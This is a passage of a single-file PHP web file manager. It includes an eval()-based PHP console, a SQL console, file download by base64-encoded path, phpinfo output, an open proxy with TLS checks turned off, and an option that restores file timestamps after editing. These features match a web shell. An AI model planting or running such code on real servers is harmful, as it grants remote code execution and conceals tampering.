$mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+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xYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> 